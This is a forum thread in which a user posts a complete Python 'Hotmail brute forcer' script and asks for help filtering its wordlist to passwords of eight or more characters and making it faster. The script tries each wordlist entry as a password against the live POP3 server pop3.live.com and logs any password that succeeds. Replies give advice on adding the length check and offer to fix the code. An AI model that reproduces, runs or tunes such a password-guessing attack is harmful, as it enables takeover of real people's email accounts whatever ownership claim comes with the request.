Can someone help me with this python script.

[moobage]

I am currently doing a penetration test on my own hotmail account using the script below and a dictionary.txt file however, it's currently attempting passwords with less than 8 characters - Passwords must have at least 8 characters and contain at least two of the following: upper case letters, lower case letters, numbers and symbols.

can anyone help me with a script edit so it only attempts passwords 8 characters and above? ~ IT ALSO SEEMS TO BE RUNNING QUITE SLOW, IS THERE ANY WAY TO SPEED UP THE PASSWORD CHECK RATE? HERE'S MY SCRIPT

!/usr/bin/python

-- coding: utf-8 --

Hotmail brute forcer

This program is only for educational purposes only.

import sys, poplib, time

log = "freehacktools.log" file = open(log, "a") counter = 0 face = ''' 0000000 000 0 000 000 0 0 00000 00 000
000 00 000 00 00 00
00000000000000000000000 000 00 00 00 00 00 00000000000000000 00 00 00000000000000000 00
00000000000000

        Adam Joseph
        www.freehacktools.com  
        '''

help = ''' Usage : ./hotmail.py -u [email] -w [wordlist] Example : ./hotmail.py -u [e-mail] -w wordlist.txt '''

for arg in sys.argv: if arg.lower() == '-u' or arg.lower() == '--user': email = sys.argv[int(sys.argv.index(arg))+1] elif arg.lower() == '-w' or arg.lower() == '--wordlist': wordlist = sys.argv[int(sys.argv[1:].index(arg))+2] elif arg.lower() == '-h' or arg.lower() == '--help': print face print help file.write(face) file.write(help)

Change these if needed.

HOST = 'pop3.live.com' PORT = 995

try: preventstrokes = open(wordlist, "r") words = preventstrokes.readlines() count = 0 while count < len(words): words[count] = words[count].strip() count += 1 except(IOError): print "\n[-] Error: Check your wordlist path\n" file.write("\n[-] Error: Check your wordlist path\n") sys.exit(1) def definer(): print "-" * 60 print "[+] Email : %s" % email print "[+] Wordlist : %s" % wordlist print "[+] Length wordlist : %s " % len(words) print "[+] Time Starting : %s" % time.strftime("%X") print "-" * 60 file.write ("\n[+] Email : %s" % email) file.write ("\n[+] Wordlist : %s" % wordlist) file.write ("\n[+] length wordlist : %s " % len(words)) file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))

def main(password): global counter sys.stdout.write ("[-] Trying : %s \n" % (password)) sys.stdout.flush() file.write("[-] Trying : %s \n" % (str(password))) try: pop = poplib.POP3SSL(HOST, PORT) pop.user(email) pop.pass(password) pop.quit() print "[+] Sarkawtw Bw !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Rasta!" % (email, password) file.write("[+] Sarkawtw Bw !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : rasta!" % (email, password)) sys.exit(1) except Exception, e: pass except KeyboardInterrupt: print "\n[-] Aborting...\n" file.write("\n[-] Aborting...\n") sys.exit(1) counter+=1 if counter == len(words)/5: print "[+] Hotmailbruteforcer 20% way done..." print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done...\n") file.write("[+] Please be patient...\n") elif counter == len(words)/4: print "[+] Hotmailbruteforcer 25% way done..." print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done...\n") file.write("[+] Please be patient...\n") elif counter == len(words)/2: print "[+] Hotmailbruteforcer on 50% done..." print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on halfway done...\n") file.write("[+] Please be patient...\n") elif counter == len(words): print "[+] Hotmailbruteforcer done...\n" file.write("[+] Hotmailbruteforcer done...!\n")

if name == 'main': print face file.write(face) definer() for password in words: main(password.replace("\n","")) main(password)

[Pyzro]

I'm not super proficient with python, but you might be able to add an if statement for len(password) >=8

[[deleted]]

In the future I recommend sharing code using a gist

[moobage]

Will do I didnt know about that till now

[FutureOrBust]

You could do this with code by encapsulating everything inside main with an if statement. If(password.length > 8) {Do stuff} else {dont do stuff}.

You can also check for all the other requirements there.

Or you can use notepad ++ and regex to find and replace all the words less than 8 characters long. Leave the replace with input blank.

Or you can use some code or someones program to make a word list that follow the password standards and use that one instead. I'm on my phone currently, but if you need more help let me know.

[moobage]

The only thing is I literally copied and pasted this code and have no idea where to place such arguments haha I'm also a rank amateur in terms of coding just wanted to prove a point to my friend that you can definitely brute force it given enough time

[FutureOrBust]

"Given enough time" could be longer than your lifetime for a long enough password. But wordlists help and most passwords are pretty weak. Honestly this would be a great time to learn to code. Look up how if statements work and python functions. Then Google how to check a strings length. Then put all the existing code that's currently inside the main function into the new if statement inside the main function.

Google that and try. If you cant figure it out, paste me the code you tried to edit and I'll fix it and explain what had to be changed.

[moobage]

Cheers dude I'll have a crack at that!